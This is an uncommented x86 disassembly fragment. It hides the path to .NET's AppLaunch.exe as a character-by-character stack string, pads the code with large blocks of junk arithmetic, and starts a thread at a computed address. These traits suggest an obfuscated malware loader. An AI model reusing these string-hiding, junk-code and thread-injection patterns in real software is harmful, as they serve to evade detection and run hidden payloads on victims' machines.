mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x40c597
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401230
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
bswap eax
bswap edx
neg esi
bswap edx
neg edx
neg edi
or edx, 0x2f
sub ebx, 0xbf
sbb edx, 0x2d
neg ebx
ror edi, 0x31
rcl edx, 0x84
inc edx
add esi, 0xff
sub edi, 0x2a
neg edx
and edi, 0xfa
rcl esi, 0x7a
inc esi
inc ebx
or edx, 0xf3
neg edi
rol edx, 0x6e
and ebx, 1
ror esi, 0x66
rol edx, 0xf1
rcl edx, 0x69
neg edi
and eax, 0x19
rcr esi, 0xa0
neg ebx
mov edx, 0xe
ror edi, 0x5f
imul eax
rol esi, 0x63
sbb esi, 0xb0
add edi, 0x61
inc ebx
not ebx
bswap ebx
rol edi, 0x15
and esi, 0xf5
ror edx, 0xd0
dec esi
sub esi, 0x96
not edx
dec edx
imul edx
imul esi
bswap edx
sbb eax, 0x16
mov ebx, 0x25
or eax, 0xc7
rcl esi, 0xaf
mov esi, 0xfb
dec edi
rol edx, 3
dec eax
bswap edi
rcr edi, 0x82
not eax
bswap eax
rcl esi, 0x16
ror ebx, 5
inc edi
or ebx, 0xb5
sbb eax, 0xbb
sub edi, 0x80
mov edi, 0x71
ror edx, 0x15
rcr ebx, 0x40
rcr esi, 0
dec ebx
bswap edx
rcr esi, 0xb4
not edi
dec edi
rol edx, 0x58
neg esi
inc edx
not esi
and edi, 0xef
rol edi, 0x54
bswap edx
rcr ebx, 0x4f
neg esi
inc ebx
not edx
imul edx
imul ebx
mov eax, 0x2d
sub esi, 0x22
not edx
rcr esi, 0x63
ror eax, 0x54
sub edi, 0xe7
bswap edx
rcr esi, 0xa2
neg edi
not ebx
not eax
inc esi
bswap eax
neg edi
and ebx, 0x88
sbb ebx, 0x4e
sub eax, 0x41
and eax, 0x7b
sub eax, 0x7a
inc ebx
sub edx, 0x67
ror ebx, 0x6f
not eax
or eax, 0xe4
dec edx
imul edi
dec edx
rcr edi, 0x64
neg edi
inc edi
rcl eax, 0xd0
inc ebx
sub esi, 0x5e
ror ebx, 0x3b
inc eax
and esi, 0x16
inc eax
sbb eax, 0xa3
or edi, 0xf0
imul ebx
dec edx
bswap ebx
inc edi
inc eax
and esi, 0xca
or esi, 0x49
sbb esi, 0xce
dec esi
bswap ebx
neg ebx
rcl esi, 0x32
inc esi
add edx, 0x47
inc edi
bswap edx
bswap edx
rcr edx, 0xf1
bswap edx
sbb ebx, 0xb8
mov esi, 0xc8
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x40c789
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401230
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sbb esi, 0x64
or edx, 0x25
ror esi, 0x93
inc eax
neg eax
neg edx
not ebx
add edi, 0x9f
or esi, 2
or esi, 0x4b
or ebx, 0x64
sub edi, 0x99
dec eax
or eax, 0xff
add esi, 0x41
sbb eax, 0x68
and esi, 0x2c
rcl eax, 0xa5
rcl eax, 0x42
not eax
neg ebx
and esi, 0x64
mov ebx, 0xed
neg eax
rol edx, 0xda
imul edi
bswap eax
or esi, 0x4b
inc eax
dec eax
dec edi
rol eax, 0x4d
or edx, 0x5d
rcl esi, 0x46
rcl ebx, 0x71
ror ebx, 0xe8
dec esi
rol esi, 0x85
mov edx, 0xf8
or ebx, 0xfc
imul edi
or eax, 0x84
neg esi
ror edi, 0x1a
imul edx
inc edx
neg esi
and ebx, 0x8c
dec edi
bswap ebx
rol edi, 0x96
rcl edx, 0xa3
sbb edx, 0xfb
ror edi, 0x7b
inc edi
mov edx, 0x59
mov edx, 0x57
inc esi
inc edi
mov eax, 0x74
dec edx
not edx
sbb ebx, 0xe
or esi, 0x93
bswap edi
ror edi, 0xae
dec edx
bswap eax
ror edx, 0x20
bswap edx
dec esi
and esi, 0xb6
inc edi
sub esi, 0x71
inc ebx
sub eax, 0x8b
inc edx
add edi, 0xd
imul edi
not edx
rcr edx, 0xbc
or edx, 0x76
imul ebx
imul edx
sbb edx, 0x14
bswap edi
rcl eax, 0x33
bswap eax
sub edi, 9
imul edi
mov eax, 0xa2
neg esi
inc esi
imul edi
ror edi, 0xa2
sbb edi, 0xcc
neg edx
inc eax
rcl ebx, 0xe8
or ebx, 0xce
imul edx
bswap edx
rcl ebx, 0x22
neg eax
inc eax
ror ebx, 0xd
neg ebx
rol esi, 0xcf
or eax, 0x20
bswap edx
bswap esi
inc esi
sbb eax, 0xc0
bswap eax
or eax, 6
and eax, 0xa2
neg ebx
sbb edi, 0xfc
imul ebx
add edi, 0x62
sbb edx, 0x7a
or eax, 0xb5
sbb ebx, 0x47
imul ebx
neg ebx
not esi
rcr ebx, 0x3d
sub eax, 0xb2
rol esi, 0xc0
rcr esi, 0x57
neg eax
ror edi, 0x47
add esi, 0x15
or edi, 0x52
bswap ebx
or edx, 0x83
not edx
not ebx
neg ebx
imul edi
add esi, 0x7f
sub edi, 0x96
inc ebx
dec eax
not edi
or esi, 0xb
dec edx
or edi, 0xec
inc eax
neg edi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret